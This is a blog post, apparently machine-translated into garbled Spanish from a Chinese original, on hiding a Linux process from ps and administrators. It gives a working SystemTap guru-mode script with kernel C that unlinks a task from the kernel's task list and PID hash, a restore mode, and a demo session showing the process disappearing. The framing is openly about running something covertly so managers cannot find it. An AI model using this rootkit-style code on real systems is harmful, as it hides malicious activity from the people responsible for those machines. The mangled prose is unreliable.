sistema Linux cómo ocultar su propio proceso?

Aunque no está directamente recomienda el uso de la conexión de la raíz del sistema Linux, pero muchas veces, todavía se inicie la sesión como raíz, por lo que este artículo se asumirá que ha iniciado sesión en el sistema usando la raíz.

¿Quieres escribir un proceso, las cosas malas punta seca furtivos, o descaradamente continúa a la salida de número de teléfono celular del gerente de la pantalla, y todo esto, pero dejar que los gerentes o bien no se puede encontrar, o incluso si son también el director lo encontrado nada al respecto?

Sí, que debe de hacerlo, al igual que yo, que tiene que hacer, que acaba de poner este proceso para esconderse.

No tiene nada que ocultar y gestor de procesos, es un trabajo artesanal. Demasiados método proceso oculto, como el uso de salida ps LD_PRELOAD redefine, tal como un filtro de volver a montar los procfs ciertos procesos, y así sucesivamente.

Pero éstas son demasiado complicadas! Tengo aquí una forma más directa, que se necesita para eliminar los procesos ocultos a las estructuras de datos correspondientes directamente en el núcleo.

remove específica desde donde?

Sabemos, de encontrar un proceso, hay dos métodos para corresponder a dos acciones:

  • tareas vinculadas sistema de recorrido de la lista, uno por uno comprobación. Tenemos que sacarlo de la lista de tareas en init_task.
  • De PID para buscar la lista según PID. Tenemos que sacarlo de la tabla hlist PIDTYPE_PID.

Es así de simple.

Pero para hacer todo el trabajo, Después encargado divertido, nunca hemos visto el proceso de recuperación oculta.

Pues bien, el último código. Hoy he usado el modo experto systemtap Guru, el guión systemtap lenguaje C incorporado y uno-tiro ejecución.

Código es el siguiente:

// hide_process.stp
%{
#include <linux/module.h>
%}

function hide_your_process:long(pid:long, type:long, addr:long)
%{
	struct task_struct *task = NULL;
	struct pid_link *link = NULL;

	if (STAP_ARG_type == 0) {
		struct hlist_node *node = NULL;
		task = pid_task(find_vpid(STAP_ARG_pid), PIDTYPE_PID);
		link = &task->pids[PIDTYPE_PID];

		list_del_rcu(&task->tasks);
		INIT_LIST_HEAD(&task->tasks);
		node = &link->node;
		hlist_del_rcu(node);
		INIT_HLIST_NODE(node);
		// 很重要!不然如果你Ctrl-C被隐藏的进程或者任何前台方式给它足以致死的signal时,detach_pid时会crash掉!
		node->pprev = &node;
		STAP_PRINTF("你要隐藏的进程地址: %p  请牢记!恢复的时候请传入第三个参数\n", task);

	} else if (STAP_ARG_type == 1) {
		task = (struct task_struct *)STAP_ARG_addr;
		link = &task->pids[PIDTYPE_PID];

		hlist_add_head_rcu(&link->node, &link->pid->tasks[PIDTYPE_PID]);
		list_add_tail_rcu(&task->tasks, &init_task.tasks);
		STAP_PRINTF("隐藏的进程[%p]已经恢复!\n", task);
	}
	
	STAP_RETVALUE = 0;
%}

probe begin
{
	printf("隐藏:stap -g hide.stp $进程号 0 1234\n");
	printf("恢复:stap -g hide.stp 1234 1 $隐藏时输出的地址\n\n");
	hide_your_process($1, $2, $3);
	exit(); // oneshot模式
}

Así, ver el efecto:
Aquí Insertar imagen Descripción
En cuanto a la lista de errores no lo hizo operación de bloqueo y similares, además de que no se puede añadir ni afecta a su uso.

Además, muchas personas se sienten acerca de procfs Modificar tarea de búsqueda de directorio se puede lograr, pero creo que demasiado complicado. Soy el más simple, unas pocas líneas de código, los artesanos no de código también muy impotente, por lo que ser complicado.

Reproducción de un?

[root@localhost ~]#
[root@localhost ~]# ./JingLi\'SkinShoe
经理的皮鞋湿了,但是不会胖!如果胖了请联系经理:15618501939
经理的皮鞋湿了,但是不会胖!如果胖了请联系经理:15618501939
经理的皮鞋湿了,但是不会胖!如果胖了请联系经理:15618501939
经理的皮鞋湿了,但是不会胖!如果胖了请联系经理:15618501939
经理的皮鞋湿了,但是不会胖!如果胖了请联系经理:15618501939
经理的皮鞋湿了,但是不会胖!如果胖了请联系经理:15618501939

Ocultarlo canto:

[root@localhost test]# ps -e |grep JingLi
 6607 pts/1    00:00:00 JingLi'SkinShoe
 [root@localhost test]# stap -g ./hide_process.stp 6607 0 12345
隐藏:stap -g hide.stp $进程号 0 1234
恢复:stap -g hide.stp 1234 1 $隐藏时输出的地址

你要隐藏的进程地址: 0xffff8800365818c0  请牢记!恢复的时候请传入第三个参数

Ps menos de lo que es ahora ...

[root@localhost test]# ps -e |grep JingLi
[root@localhost test]# echo $?
1

Wenzhou zapatos mojados, el agua de lluvia no será grasa.

Liberadas 1583 artículos originales · ganado elogios 5118 · Vistas 11140000 +

Supongo que te gusta

Origin blog.csdn.net/dog250/article/details/105270500
Recomendado
Clasificación